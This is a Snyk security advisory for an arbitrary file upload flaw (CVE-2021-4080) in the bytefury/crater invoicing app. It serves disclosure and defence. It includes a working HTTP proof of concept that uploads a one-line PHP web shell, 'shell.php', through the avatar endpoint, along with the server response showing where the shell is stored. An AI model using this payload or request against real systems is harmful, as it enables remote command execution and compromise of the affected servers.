Arbitrary File Upload Affecting bytefury/crater package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PHP-BYTEFURYCRATER-2338683
- published13 Jan 2022
- disclosed13 Jan 2022
- credittheworstcomrade
Introduced: 13 Jan 2022
CVE-2021-4080 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
bytefury/crater is a Free & Open Source Invoice App for Individuals & Small Businesses. https://craterapp.com
Affected versions of this package are vulnerable to Arbitrary File Upload due to the possibility of the lowest privileged user to upload PHP file instead of avatar.
PoC:
POST /api/v1/me/upload-avatar HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
X-XSRF-TOKEN: eyJpdiI6IlBrOE1JS01vcDBqL0hqcXZURTRQMmc9PSIsInZhbHVlIjoiMVVSUVk5N3FmYTh2UG5KSiszSmp3aEg5MXlxSWFMUHRNZFpyME5LRFM3OEpiRWR3dlVCeDJ4a2FYQU9hYmFrZjBmNVBUbGp5UitIY1c3L1JtcWtGaDdoalBXSXU3L2NFS2NMbHZVT3JhNm1zeXdLZllkR2RNVGdKL3NuSWhWblciLCJtYWMiOiI0OTRhMmZkZGFjODA1MWY3ZWQyZmRhY2RhNmRkOTVlNDc0Njg2YzlmY2E2NzkyZjU0ZWExNjBiZjVhZGViMGE2IiwidGFnIjoiIn0=
Content-Type: multipart/form-data; boundary=---------------------------324661512726686552372889486730
Content-Length: 270
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/settings/account-settings
Cookie: XSRF-TOKEN=eyJpdiI6IlBrOE1JS01vcDBqL0hqcXZURTRQMmc9PSIsInZhbHVlIjoiMVVSUVk5N3FmYTh2UG5KSiszSmp3aEg5MXlxSWFMUHRNZFpyME5LRFM3OEpiRWR3dlVCeDJ4a2FYQU9hYmFrZjBmNVBUbGp5UitIY1c3L1JtcWtGaDdoalBXSXU3L2NFS2NMbHZVT3JhNm1zeXdLZllkR2RNVGdKL3NuSWhWblciLCJtYWMiOiI0OTRhMmZkZGFjODA1MWY3ZWQyZmRhY2RhNmRkOTVlNDc0Njg2YzlmY2E2NzkyZjU0ZWExNjBiZjVhZGViMGE2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im13VlVJa1JyZWs4OWFLWlBBa0JobXc9PSIsInZhbHVlIjoiU21kVnR2Skc1UnZmSnR3SVhiL09qSFBmWGxGV0FMUi9pSzFSTkc2enBZL01GbkJBbCtiMzJmWnNLM3l2OWRJRVk0bUZ2dFRYTkVTWnRQV0xCNnkxbFdIOEJjS1E5N2dwRWNyNC90cHZRSTJaWHozcWNtcmo2RTltY2U0Q1ZEeXQiLCJtYWMiOiJmMzIxYTFiNjU2Y2QyOWM2ZDdiOWJiYzMyYjQ3NWFmZGM3NDU0ZTA0MjNhZjg0ZGEzZDgzZGFlMGEwMjQzMGJmIiwidGFnIjoiIn0%3D; D5zxaxhEVxptcHSFSkkLadY5LtUnr9yDLzGS8IGz=eyJpdiI6Im9jcVpRWkgzTTM2dzZjb3ZsQnlvTnc9PSIsInZhbHVlIjoiWXhGWk9CNlNpQUw2YVNuSWhtekF0TDUwbExybG1jM0tramgzWUlkbVJYa3hCcU1DbnFFbjhwWG5mNGpEU2RsSCtubHBQcXNadDhESDVFU0hZOVRtTFVudmFVRzRtemdMMWpKWm5LZ0JmckJQYnpndE9YQ3p1ZUF4SlRuaWJPWlJCK2hQMjM1QUlEaWo2b28raFh3VTRaN3J4aDdiS3AxSTNtUkJtOE5kT2VqY0d6ejUzZHc2THZhNVNSYVRpcmJ0YWM1L3crdDJSWUU2NlNDb0hUS0xYVWI0anJIOGJWOVIrcFpzWW8yZlF5RnhLZVJ2cFcvUHF6VUZQVkd6MXFtdm9ncWlFTE1QaVBHM1gvR1piVUZnZ0ovR2hFMWhJTUI0cDl5VVdCYUlQNVNKa1VlVGVoVW05dkg1R3pyUUNkRDFtTnBCaCt3UnBqNWpYVGFPN05JeHVGamF5SVJmYVdMdVY1QmRNeHo2R25BWDQ0ay9KRXhxTlZxWnJnYW5hZUdsdk1XeXQ2Mm9wdzJxSmNhbU9OMnNiUVBPaitYQ3F3VzE1amQ5Zm5xbGxuVE1ReUxiaDd4RVNuTkNuUVpyQmpWMldUb1lKNHdXWWJkR3plUjVOcWZKOW91WHhxNG1hMmJqVElMbTR3blJhdFpJalFUTS9mM3UraGZjdDRRL1Ura2c4Wmx2d1piaFRYMmN0Uk1mTFkvVEZRPT0iLCJtYWMiOiJmOGY0NTVmYmUxYTQ4NDI0YzJkN2UxOGM0NzEyZWMwODUwODE4YjllZjM1ZDE4OGMzNDg5NjI1ZDhjYzIwOThiIiwidGFnIjoiIn0%3D
-----------------------------324661512726686552372889486730
Content-Disposition: form-data; name="admin_avatar"; filename="shell.php"
Content-Type: image/svg+xml
<?php print_r(shell_exec($_GET[1])); ?>
-----------------------------324661512726686552372889486730--
// Response:
{
"data":
{
"id": 3,
"name": "user2",
"email": "user2-crater@zaqwsx.cc",
...
"avatar": "http:\/\/172.17.0.1:8888\/storage\/4\/shell.php",
"is_owner": false,
...
}
}